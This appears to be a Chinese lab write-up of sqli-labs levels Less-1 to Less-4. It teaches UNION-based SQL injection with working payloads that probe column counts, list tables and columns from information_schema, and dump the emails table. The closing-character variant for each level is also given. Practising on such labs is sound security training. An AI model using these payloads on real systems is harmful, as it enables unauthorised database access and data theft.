Less-(1~4) union select
Less-1:
核心语句:
无任何防护;回显查询结果或错误内容。
输入单引号闭合语句中的单引号,#注释后面的内容,即可注入。由于有查询结果回显,直接联合注入即可。
1'order by x #(有些环境下#天然不行,需要使用--+或--空格)
探测查询的列数;union select要求前后查询列数必须一致,但语句中的*让我们无法知晓列数。order by语句当x大于列数时报错,小于等于时无回显。最后测得列数为3.
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database(); --+
查看当前数据库的所有表名称。
1.此处开始,单引号前面就不能写能查到的东西,否则$row抓取的就是它而不是注入查询的内容
2.group_concat 把查询结果显示到一起;不用则只能显示出一个。
' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' --+
查看emails表中各列的名称。
' union select 1,2,group_concat(id,'~',email_id) from emails --+
查询表内容。
至此,注入结束。这也是一个联合查询注入的模板。
Less-2:
核心语句:
和Less-1相比,本题仅仅少了单引号。故将前面payload中的单引号删去即可。注意需要输入查询一个不存在的值。
eg:-1 union select 1,2,group_concat(id,'~',email_id) from emails --+
Less-3:
核心语句:
和Less-1相比,仅仅多了小括号。故payload中闭合它即可。
eg:-1') union select 1,2,group_concat(id,'~',email_id) from emails --+
Less-4:
核心语句:
和Less-3相比,仅仅将单引号改为了双引号。跟着改即可。
eg:-1") union select 1,2,group_concat(id,'~',email_id) from emails --+
由此,当我们确定注入形式(无过滤,get型)又不知道源代码时,使用多种符号的尝试去闭合它是很重要的。在前面输入一个能查询到的id,再加上闭合符号;若成功闭合,则正常回显;否则就无回显/报错。
最新文章
- Unity全视角跟随鼠标右键转换视角实现——研究笔记
- 无法安装 DotNetCore.1.0.0-VS2015Tools.Preview2解决方法
- Yii2 执行流程
- Python 基礎 - pyc 是什麼
- 如何在Android应用程序中使用传感器(OpenIntents开源组织SensorSimulator项目)
- C# SerialPort的简单使用
- ORACLE中死锁的知识点总结
- 基于 fireasy 构建的 asp.net core 示例
- javaweb代码生成器,专注于javaweb项通用目的代码生成器
- Centos7 二进制安装 Kubernetes 1.13
- JavaScript防抖节流函数
- chrome自带调试工具介绍
- C# 多线程之Thread类
- hdu 1789 Doing HomeWork Again (贪心算法)
- MongoDB中的聚合操作
- 剑指offer2
- Linux系统管理员非常使用的几款工具推荐
- BZOJ4870:[SHOI2017]组合数问题(组合数学,矩阵乘法)
- Spring Boot中使用Spring Security进行安全控制
- Codeforces Round #302 (Div. 1) B - Destroying Roads